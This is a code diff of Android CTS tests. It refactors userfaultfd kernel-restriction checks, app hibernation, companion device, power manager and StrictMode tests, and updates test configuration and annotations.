-        intent.putExtra(GlPlanetsActivity.INTENT_EXTRA_USE_VBO_INDICES, useVboIndex);
-        intent.putExtra(GlPlanetsActivity.INTENT_EXTRA_NUM_INDEX_BUFFERS, numIndexBuffers);
-
-        setActivityIntent(intent);
-        final GlPlanetsActivity activity = getActivity();
-        boolean waitResult = activity
-                .waitForGlPlanetsCompletionWithTimeout(RENDERING_TIMEOUT);
-        assertTrue("timeout while waiting for rendering completion", waitResult);
-
-        mFps = activity.getAverageFps();
-        mNumTriangles = activity.getNumTriangles();
-        if (SWIFTSHADER_NAME.equals(activity.getRendererName())) {
-            mIsSoftwareRenderer = true;
-        }
-
-        cleanUpActivity();
-    }
-
-    private void cleanUpActivity()  throws Exception {
-        // finish the current activity and do clean-up so that a new activity
-        // can be launched in the same test run
-        super.tearDown();
-        super.setUp();
-        // wait until clean-up / set-up finishes
-        getInstrumentation().waitForIdleSync();
-    }
-
-    private void doRunVboVsNonVboPerfTest(int numPlanets) throws Exception {
-        runRendering(numPlanets, true, true, 1); // VBO
-        int numTrianglesVbo = mNumTriangles;
-        float fpsVbo = mFps;
-        runRendering(numPlanets, false, false, 1); // non-VBO
-
-        assertTrue("Number of triangles mismatch",
-                numTrianglesVbo == mNumTriangles);
-
-        // Margin amount of error is allowed due to measuring irregularity
-        float delta = fpsVbo - (1f - FPS_COMPARISON_MARGIN) * mFps;
-        StringBuilder testMsg = new StringBuilder();
-        testMsg.append("VBO performance worse than non-VBO ").append(fpsVbo).append(" ");
-        testMsg.append(mFps);
-        assertTrue(testMsg.toString(), delta > 0f);
-    }
-
-    private float[] findMinMax(float[] data) {
-        float min = data[0];
-        float max = data[0];
-
-        for (int i = 1; i < data.length; i++) {
-            if (data[i] > max) max = data[i];
-            if (data[i] < min) min = data[i];
-        }
-        float[] result = {min, max};
-        return result;
-    }
-}
diff --git a/tests/tests/os/TEST_MAPPING b/tests/tests/os/TEST_MAPPING
index c1541b5..09f1a05 100644
--- a/tests/tests/os/TEST_MAPPING
+++ b/tests/tests/os/TEST_MAPPING
@@ -4,6 +4,9 @@
       "name": "CtsOsTestCases",
       "options": [
         {
+          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+        },
+        {
           "exclude-filter": "android.os.cts.BuildTest#testSdkInt"
         },
         {
diff --git a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
index e71d6c1..d6dd73c 100644
--- a/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
+++ b/tests/tests/os/UffdGc/jni/android_os_cts_uffdgc_UserfaultfdTest.cc
@@ -30,15 +30,13 @@
 #include <sys/utsname.h>
 #include <unistd.h>
 
-static int page_sz = 0;
-static bool perform_tests = true;
-
 static void* userfault_handler_thread(void* arg) {
-  int uffd = reinterpret_cast<intptr_t>(arg);
   struct uffd_msg msg;
   struct uffdio_copy uffdio_copy;
   ssize_t nread;
   int ret = 0;
+  int uffd = reinterpret_cast<intptr_t>(arg);
+  int page_sz = sysconf(_SC_PAGE_SIZE);
   char* page = static_cast<char*>(mmap(nullptr, page_sz, PROT_READ | PROT_WRITE,
                                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
   if (page == MAP_FAILED) {
@@ -97,7 +95,8 @@
   pthread_exit(reinterpret_cast<void*>(ret));
 }
 
-extern "C" JNIEXPORT void JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_setUpUserfaultfd(JNIEnv*) {
+extern "C"
+JNIEXPORT bool JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_confirmKernelVersion(JNIEnv*) {
 #if defined(__linux__)
   static constexpr int kRequiredMajor = 5;
   static constexpr int kRequiredMinor = 4;
@@ -108,23 +107,21 @@
       strcmp(uts.sysname, "Linux") != 0 ||
       sscanf(uts.release, "%d.%d", &major, &minor) != 2 ||
       (major < kRequiredMajor || (major == kRequiredMajor && minor < kRequiredMinor))) {
-    perform_tests = false;
+    return false;
   }
+  return true;
 #else
-  perform_tests = false;
+  return false;
 #endif
-  page_sz = sysconf(_SC_PAGE_SIZE);
 }
 
 extern "C"
 JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performKernelSpaceUffd(JNIEnv*) {
-  if (!perform_tests) {
-    return 0;
-  }
   int ret = 0, write_fd = 0;
   void* addr = nullptr;
   pthread_t thr;  // ID of thread that handles page faults
   struct uffdio_register uffdio_register;
+  int page_sz = sysconf(_SC_PAGE_SIZE);
   int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK | UFFD_USER_MODE_ONLY);
   if (uffd < 0) {
     ret = errno;
@@ -205,10 +202,8 @@
 
 // Invoking userfaultfd without USER_MODE_ONLY by a process without CAP_SYS_PTRACE
 // should not be permitted.
-extern "C" JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performUffdWithoutUserModeOnly(JNIEnv*) {
-  if (!perform_tests) {
-    return 0;
-  }
+extern "C"
+JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_uffdWithoutUserModeOnly(JNIEnv*) {
   int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   if (uffd < 0) {
     return errno;
@@ -218,11 +213,10 @@
   return 0;
 }
 
-extern "C" JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performMremapDontUnmap(JNIEnv*) {
+extern "C"
+JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performMremapDontUnmap(JNIEnv*) {
   int ret = 0;
-  if (!perform_tests) {
-    return 0;
-  }
+  int page_sz = sysconf(_SC_PAGE_SIZE);
   void* old = mmap(nullptr, page_sz, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
   if (old == MAP_FAILED ||
       mremap(old, page_sz, page_sz, MREMAP_MAYMOVE | MREMAP_DONTUNMAP, nullptr) == MAP_FAILED) {
@@ -231,11 +225,9 @@
   return ret;
 }
 
-extern "C" JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performMinorUffd(JNIEnv*) {
+extern "C"
+JNIEXPORT jint JNICALL Java_android_os_cts_uffdgc_UserfaultfdTest_performMinorUffd(JNIEnv*) {
   int ret = 0;
-  if (!perform_tests) {
-    return 0;
-  }
   int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK | UFFD_USER_MODE_ONLY);
   if (uffd < 0) {
     ret = errno;
diff --git a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
index 9bbcbdd..b537489 100644
--- a/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
+++ b/tests/tests/os/UffdGc/src/android/os/cts/uffdgc/UserfaultfdTest.java
@@ -41,7 +41,7 @@
       boolean mShouldRunTest = !(FeatureUtil.isAutomotive()
               && ApiLevelUtil.isAtMost(VERSION_CODES.S));
       Assume.assumeTrue("Skip userfaultfd tests on Automotive targets till S", mShouldRunTest);
-      setUpUserfaultfd();
+      Assume.assumeTrue("Skip userfaultfd tests on kernels lower than 5.4", confirmKernelVersion());
   }
 
   // Test if a userfault from kernel-space fails or not. It is
@@ -58,7 +58,7 @@
   @Test
   public void nonUserModeOnlyUserfaultfd() {
     // Expect return value to be EPERM (1).
-    assertEquals(1, performUffdWithoutUserModeOnly());
+    assertEquals(1, uffdWithoutUserModeOnly());
   }
 
   // Test if mremap syscall on a non-anonymous shared mapping
@@ -74,9 +74,9 @@
     assertEquals(0, performMinorUffd());
   }
 
-  private native void setUpUserfaultfd();
+  private native boolean confirmKernelVersion();
   private native int performKernelSpaceUffd();
-  private native int performUffdWithoutUserModeOnly();
+  private native int uffdWithoutUserModeOnly();
   private native int performMremapDontUnmap();
   private native int performMinorUffd();
 }
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
index e2718df..5e932c3 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationIntegrationTest.kt
@@ -16,6 +16,9 @@
 
 package android.os.cts
 
+import android.app.ActivityManager
+import android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_GONE
+import android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_TOP_SLEEPING
 import android.app.Instrumentation
 import android.content.Context
 import android.content.Intent
@@ -36,9 +39,12 @@
 import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.DisableAnimationRule
 import com.android.compatibility.common.util.FreezeRotationRule
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.eventually
 import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
 import com.android.compatibility.common.util.UiAutomatorUtils
 import org.hamcrest.CoreMatchers
+import org.hamcrest.Matchers
 import org.junit.After
 import org.junit.Assert.assertFalse
 import org.junit.Assert.assertThat
@@ -58,8 +64,9 @@
         const val LOG_TAG = "AppHibernationIntegrationTest"
         const val WAIT_TIME_MS = 1000L
         const val MAX_SCROLL_ATTEMPTS = 3
+        const val TEST_UNUSED_THRESHOLD = 1L
 
-        const val SETTINGS_PACKAGE = "com.android.settings"
+        const val CMD_KILL = "am kill %s"
     }
     private val context: Context = InstrumentationRegistry.getTargetContext()
     private val instrumentation: Instrumentation = InstrumentationRegistry.getInstrumentation()
@@ -94,20 +101,18 @@
     @Test
     fun testUnusedApp_getsForceStopped() {
         withDeviceConfig(NAMESPACE_APP_HIBERNATION, "app_hibernation_enabled", "true") {
-            withUnusedThresholdMs(1) {
+            withUnusedThresholdMs(TEST_UNUSED_THRESHOLD) {
                 withApp(APK_PATH_S_APP, APK_PACKAGE_NAME_S_APP) {
                     // Use app
                     startApp(APK_PACKAGE_NAME_S_APP)
-                    Thread.sleep(WAIT_TIME_MS)
-                    runShellCommandOrThrow("input keyevent KEYCODE_BACK")
-                    runShellCommandOrThrow("input keyevent KEYCODE_BACK")
-                    Thread.sleep(WAIT_TIME_MS)
-                    runShellCommandOrThrow("am kill $APK_PACKAGE_NAME_S_APP")
-                    Thread.sleep(WAIT_TIME_MS)
+                    leaveApp(APK_PACKAGE_NAME_S_APP)
+                    killApp(APK_PACKAGE_NAME_S_APP)
+
+                    // Wait for the unused threshold time to pass
+                    Thread.sleep(TEST_UNUSED_THRESHOLD)
 
                     // Run job
                     runAppHibernationJob(context, LOG_TAG)
-                    Thread.sleep(WAIT_TIME_MS)
 
                     // Verify
                     val ai =
@@ -124,20 +129,18 @@
 
     @Test
     fun testPreSVersionUnusedApp_doesntGetForceStopped() {
-        withUnusedThresholdMs(1) {
+        withUnusedThresholdMs(TEST_UNUSED_THRESHOLD) {
             withApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) {
                 // Use app
                 startApp(APK_PACKAGE_NAME_R_APP)
-                Thread.sleep(WAIT_TIME_MS)
-                runShellCommandOrThrow("input keyevent KEYCODE_BACK")
-                runShellCommandOrThrow("input keyevent KEYCODE_BACK")
-                Thread.sleep(WAIT_TIME_MS)
-                runShellCommandOrThrow("am kill $APK_PACKAGE_NAME_R_APP")
-                Thread.sleep(WAIT_TIME_MS)
+                leaveApp(APK_PACKAGE_NAME_R_APP)
+                killApp(APK_PACKAGE_NAME_R_APP)
+
+                // Wait for the unused threshold time to pass
+                Thread.sleep(TEST_UNUSED_THRESHOLD)
 
                 // Run job
                 runAppHibernationJob(context, LOG_TAG)
-                Thread.sleep(WAIT_TIME_MS)
 
                 // Verify
                 val ai =
@@ -164,11 +167,46 @@
                 UiAutomatorUtils.getUiDevice()
 
                 val packageManager = context.packageManager
-                val res = packageManager.getResourcesForApplication(SETTINGS_PACKAGE)
+                val settingsPackage = intent.resolveActivity(packageManager).packageName
+                val res = packageManager.getResourcesForApplication(settingsPackage)
                 val title = res.getString(
-                    res.getIdentifier("unused_apps_switch", "string", SETTINGS_PACKAGE))
-                assertTrue("Remove permissions and free up space toggle not found",
-                    UiScrollable(UiSelector().scrollable(true)).scrollTextIntoView(title))
+                    res.getIdentifier("unused_apps_switch", "string", settingsPackage))
+
+                // Settings can have multiple scrollable containers so all of them should be
+                // searched.
+                var toggleFound = false
+                var i = 0
+                var scrollableObject = UiScrollable(UiSelector().scrollable(true).instance(i))
+                while (!toggleFound && scrollableObject.waitForExists(WAIT_TIME_MS)) {
+                    toggleFound = scrollableObject.scrollTextIntoView(title)
+                    scrollableObject = UiScrollable(UiSelector().scrollable(true).instance(++i))
+                }
+
+                assertTrue("Remove permissions and free up space toggle not found", toggleFound)
+            }
+        }
+    }
+
+    private fun leaveApp(packageName: String) {
+        eventually {
+            goHome()
+            SystemUtil.runWithShellPermissionIdentity {
+                val packageImportance = context
+                    .getSystemService(ActivityManager::class.java)!!
+                    .getPackageImportance(packageName)
+                assertThat(packageImportance, Matchers.greaterThan(IMPORTANCE_TOP_SLEEPING))
+            }
+        }
+    }
+
+    private fun killApp(packageName: String) {
+        eventually {
+            SystemUtil.runWithShellPermissionIdentity {
+                runShellCommandOrThrow(String.format(CMD_KILL, packageName))
+                val packageImportance = context
+                    .getSystemService(ActivityManager::class.java)!!
+                    .getPackageImportance(packageName)
+                assertThat(packageImportance, Matchers.equalTo(IMPORTANCE_GONE))
             }
         }
     }
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index d5cc564..2d3610b 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -192,12 +192,15 @@
     @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S, codeName = "S")
     @Test
     fun testUnusedApp_doesntGetSplitPermissionRevoked() {
+        assumeFalse(
+            "Auto doesn't support hibernation for pre-S apps",
+            isAutomotiveDevice())
         withUnusedThresholdMs(3L) {
             withDummyApp(APK_PATH_R_APP, APK_PACKAGE_NAME_R_APP) {
                 // Setup
-                startApp()
+                startApp(APK_PACKAGE_NAME_R_APP)
                 assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_R_APP, BLUETOOTH_CONNECT)
-                killDummyApp()
+                killDummyApp(APK_PACKAGE_NAME_R_APP)
                 Thread.sleep(500)
 
                 // Run
@@ -308,10 +311,7 @@
                 // Setup
                 goToPermissions()
                 click("Calendar")
-                // Wear OS uses a switch and does not display a dialog
-                if (!hasFeatureWatch()) {
-                    click("Allow")
-                }
+                click("Allow")
                 goBack()
                 goBack()
                 goBack()
@@ -495,7 +495,7 @@
         waitForIdle()
         val parent = waitFindObject(
             By.clickable(true)
-                .hasDescendant(By.text("Remove permissions if app isn’t used"))
+                .hasDescendant(By.textStartsWith("Remove permissions"))
                 .hasDescendant(By.clazz(Switch::class.java.name))
         )
         return parent.findObject(By.clazz(Switch::class.java.name))
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index fbdcbc4..6869889 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,6 +17,8 @@
 package android.os.cts
 
 import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager
+import android.content.pm.PackageManager.FEATURE_AUTOMOTIVE
 import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
 import android.content.pm.PackageManager.PERMISSION_GRANTED
 import android.net.MacAddress
@@ -54,8 +56,10 @@
 import org.hamcrest.Matchers.empty
 import org.hamcrest.Matchers.not
 import org.junit.Assert.assertThat
+import org.junit.Assume.assumeFalse
 import org.junit.Assume.assumeTrue
 import org.junit.Before
+import org.junit.After
 import org.junit.Test
 import org.junit.runner.RunWith
 import java.io.Serializable
@@ -65,6 +69,8 @@
 const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
 const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
 const val SHELL_PACKAGE_NAME = "com.android.shell"
+const val TEST_APP_PACKAGE_NAME = "android.os.cts.companiontestapp"
+const val TEST_APP_APK_LOCATION = "/data/local/tmp/cts/os/CtsCompanionTestApp.apk"
 val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
@@ -76,6 +82,11 @@
     val cdm: CompanionDeviceManager by lazy {
         context.getSystemService(CompanionDeviceManager::class.java)
     }
+    val pm: PackageManager by lazy { context.packageManager }
+    private val hasFeatureCompanionDeviceSetup: Boolean by lazy {
+        pm.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP)
+    }
+    private val isAuto: Boolean by lazy { pm.hasSystemFeature(FEATURE_AUTOMOTIVE) }
 
     private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
         val userId = context.userId
@@ -99,7 +110,25 @@
 
     @Before
     fun assumeHasFeature() {
-        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+        assumeTrue(hasFeatureCompanionDeviceSetup)
+        // TODO(b/191699828) test does not work in automotive due to accessibility issue
+        assumeFalse(isAuto)
+    }
+
+    @After
+    fun removeAllAssociations() {
+        // If the devices does not have the feature or is an Auto, the test didn't run, and the
+        // clean up is not needed (will actually crash if the feature is missing).
+        // See assumeHasFeature @Before method.
+        if (!hasFeatureCompanionDeviceSetup || isAuto) return
+
+        val userId = context.userId
+        val associations = getAssociatedDevices(TEST_APP_PACKAGE_NAME)
+
+        for (address in associations) {
+            runShellCommandOrThrow(
+                    "cmd companiondevice disassociate $userId $TEST_APP_PACKAGE_NAME $address")
+        }
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
@@ -152,9 +181,8 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testProfiles() {
-        val packageName = "android.os.cts.companiontestapp"
-        installApk("/data/local/tmp/cts/os/CtsCompanionTestApp.apk")
-        startApp(packageName)
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
 
         waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
                 .performAction(ACTION_SET_TEXT,
@@ -166,23 +194,63 @@
             click("Associate")
             waitFindNode(hasIdThat(containsString("device_list")),
                     failMsg = "Test requires a discoverable bluetooth device nearby",
+                    timeoutMs = 9_000)
+                    .children
+                    .find { it.className == TextView::class.java.name }
+                    .assertNotNull { "Empty device list" }
+        }, 90_000)
+        device!!.click()
+
+        eventually {
+            assertThat(getAssociatedDevices(TEST_APP_PACKAGE_NAME), not(empty()))
+        }
+        val deviceAddress = getAssociatedDevices(TEST_APP_PACKAGE_NAME).last()
+
+        runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+
+        runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
+        assertPermission(
+                TEST_APP_PACKAGE_NAME, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+    }
+
+    @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
+    fun testRequestNotifications() {
+        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        startApp(TEST_APP_PACKAGE_NAME)
+
+        waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
+                .performAction(ACTION_SET_TEXT,
+                        bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
+        waitForIdle()
+
+        val deviceForAssociation = getEventually({
+            click("Associate")
+            waitFindNode(hasIdThat(containsString("device_list")),
+                    failMsg = "Test requires a discoverable bluetooth device nearby",
                     timeoutMs = 5_000)
                     .children
                     .find { it.className == TextView::class.java.name }
                     .assertNotNull { "Empty device list" }
         }, 60_000)
-        device!!.click()
 
-        eventually {
-            assertThat(getAssociatedDevices(packageName), not(empty()))
-        }
-        val deviceAddress = getAssociatedDevices(packageName).last()
+        deviceForAssociation!!.click()
 
-        runShellCommandOrThrow("cmd companiondevice simulate_connect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        waitForIdle()
 
-        runShellCommandOrThrow("cmd companiondevice simulate_disconnect $deviceAddress")
-        assertPermission(packageName, "android.permission.CALL_PHONE", PERMISSION_GRANTED)
+        val deviceForNotifications = getEventually({
+            click("Request Notifications")
+            waitFindNode(hasIdThat(containsString("button1")),
+                    failMsg = "The Request Notifications dialog is not showing up",
+                    timeoutMs = 5_000)
+                    .assertNotNull { "Request Notifications is not implemented" }
+        }, 60_000)
+
+        deviceForNotifications!!.click()
+
+        waitForIdle()
     }
 
     private fun getAssociatedDevices(
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index b8b7abc..46a4b0a 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -42,7 +42,7 @@
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
 import android.os.Parcelable;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.test.AndroidTestCase;
 import android.util.Log;
 import android.util.SparseArray;
@@ -3442,7 +3442,7 @@
         assertNotNull("Service should have started without crashing.", connection.get());
     }
 
-    @SecurityTest(minPatchLevel="2020-02")
+    @AsbSecurityTest(cveBugId = 140419401)
     public void testObjectResize() throws Exception {
         Parcel p;
         IBinder b1 = new Binder();
diff --git a/tests/tests/os/src/android/os/cts/PowerManagerTest.java b/tests/tests/os/src/android/os/cts/PowerManagerTest.java
index b0820e1..ad92d74 100644
--- a/tests/tests/os/src/android/os/cts/PowerManagerTest.java
+++ b/tests/tests/os/src/android/os/cts/PowerManagerTest.java
@@ -16,6 +16,8 @@
 
 package android.os.cts;
 
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
 import android.content.ContentResolver;
 import android.content.Context;
 import android.content.Intent;
@@ -23,11 +25,10 @@
 import android.os.PowerManager;
 import android.os.PowerManager.WakeLock;
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.LargeTest;
 import android.provider.Settings.Global;
 import android.test.AndroidTestCase;
 
-import androidx.test.filters.LargeTest;
-
 import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.CallbackAsserter;
 import com.android.compatibility.common.util.SystemUtil;
@@ -155,7 +156,10 @@
         BatteryUtils.runDumpsysBatterySetPluggedIn(true);
         pluggedBroadcastAsserter.assertCalled("Didn't get power connected broadcast",
                 BROADCAST_TIMEOUT_SECONDS);
-        assertNull(manager.getBatteryDischargePrediction());
+        // PowerManagerService may get the BATTERY_CHANGED broadcast after we get our broadcast,
+        // so we have to have a little wait.
+        waitUntil("PowerManager doesn't think the device has connected power",
+                () -> manager.getBatteryDischargePrediction() == null);
 
         // Not plugged in. At the very least, the basic discharge estimation should be returned.
         final CallbackAsserter unpluggedBroadcastAsserter = CallbackAsserter.forBroadcast(
@@ -163,7 +167,10 @@
         BatteryUtils.runDumpsysBatteryUnplug();
         unpluggedBroadcastAsserter.assertCalled("Didn't get power disconnected broadcast",
                 BROADCAST_TIMEOUT_SECONDS);
-        assertNotNull(manager.getBatteryDischargePrediction());
+        // PowerManagerService may get the BATTERY_CHANGED broadcast after we get our broadcast,
+        // so we have to have a little wait.
+        waitUntil("PowerManager still thinks the device has connected power",
+                () -> manager.getBatteryDischargePrediction() != null);
 
         CallbackAsserter predictionChangedBroadcastAsserter = CallbackAsserter.forBroadcast(
                 new IntentFilter(PowerManager.ACTION_ENHANCED_DISCHARGE_PREDICTION_CHANGED));
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 86c885f..3fa3dac 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -34,13 +34,11 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.content.ServiceConnection;
-import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.hardware.display.DisplayManager;
 import android.net.TrafficStats;
 import android.net.Uri;
-import android.os.Build;
 import android.os.IBinder;
 import android.os.RemoteException;
 import android.os.StrictMode;
@@ -667,7 +665,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertViolation("Tried to access UI related API:", () ->
                     applicationContext.getSystemService(WallpaperManager.class)
                             .getDesiredMinimumWidth());
@@ -703,7 +701,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertViolation("Tried to access UI related API:", () ->
                     displayContext.getSystemService(WallpaperManager.class)
                             .getDesiredMinimumWidth());
@@ -733,7 +731,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertNoViolation(() -> windowContext.getSystemService(WallpaperManager.class)
                     .getDesiredMinimumWidth());
         }
@@ -764,7 +762,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertNoViolation(() -> activity.getSystemService(WallpaperManager.class)
                     .getDesiredMinimumWidth());
         }
@@ -797,7 +795,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertNoViolation(() -> uiDerivedConfigContext.getSystemService(WallpaperManager.class)
                     .getDesiredMinimumWidth());
         }
@@ -818,7 +816,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertNoViolation(() -> uiDerivedAttrContext.getSystemService(WallpaperManager.class)
                     .getDesiredMinimumWidth());
         }
@@ -853,7 +851,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertViolation("Tried to access UI related API:", () ->
                     uiDerivedDisplayContext.getSystemService(WallpaperManager.class)
                             .getDesiredMinimumWidth());
@@ -886,7 +884,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertViolation("Tried to access UI related API:", () ->
                     configContext.getSystemService(WallpaperManager.class)
                             .getDesiredMinimumWidth());
@@ -925,7 +923,7 @@
             }
         });
 
-        if (isWallpaperManagerAccessible()) {
+        if (isWallpaperSupported()) {
             assertViolation("Tried to access UI related API:", () ->
                     configDerivedDisplayContext.getSystemService(WallpaperManager.class)
                             .getDesiredMinimumWidth());
@@ -933,12 +931,15 @@
     }
 
     /**
-     * Returns {@code false} if the test is targeted at least {@link Build.VERSION_CODES#P} and
-     * running in instant mode.
+     * Returns {@code true} to indicate that wallpaper is supported.
+     * <p>
+     * Note that we check the nullity of {@link WallpaperManager} because it may not be obtainable
+     * if the test is targeting at least {@link android.os.Build.VERSION_CODES#P} and running in
+     * instant mode.
      */
-    private boolean isWallpaperManagerAccessible() {
-        final ApplicationInfo appInfo = getContext().getApplicationInfo();
-        return appInfo.targetSdkVersion < Build.VERSION_CODES.P || !appInfo.isInstantApp();
+    private boolean isWallpaperSupported() {
+        final WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        return wallpaperManager != null && wallpaperManager.isWallpaperSupported();
     }
 
     @Test
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 8d57488..746f8b2 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -42,9 +42,8 @@
         <option name="test-file-name" value="CtsAdminPackageInstallerTestCases.apk" />
     </target_preparer>
 
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="dpm set-device-owner --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'" />
-        <option name="teardown-command" value="dpm remove-active-admin --user current 'android.packageinstaller.admin.cts/.BasicAdminReceiver'"/>
+    <target_preparer class="com.android.tradefed.targetprep.DeviceOwnerTargetPreparer">
+        <option name="device-owner-component-name" value="android.packageinstaller.admin.cts/.BasicAdminReceiver" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/uninstall/OWNERS b/tests/tests/packageinstaller/uninstall/OWNERS
index bf3cfe7..206ce22 100644
--- a/tests/tests/packageinstaller/uninstall/OWNERS
+++ b/tests/tests/packageinstaller/uninstall/OWNERS
@@ -1 +1,3 @@
 # Bug component: 36137
+ewol@google.com
+cdombroski@google.com
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index ce7878f..daec088 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -35,7 +35,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
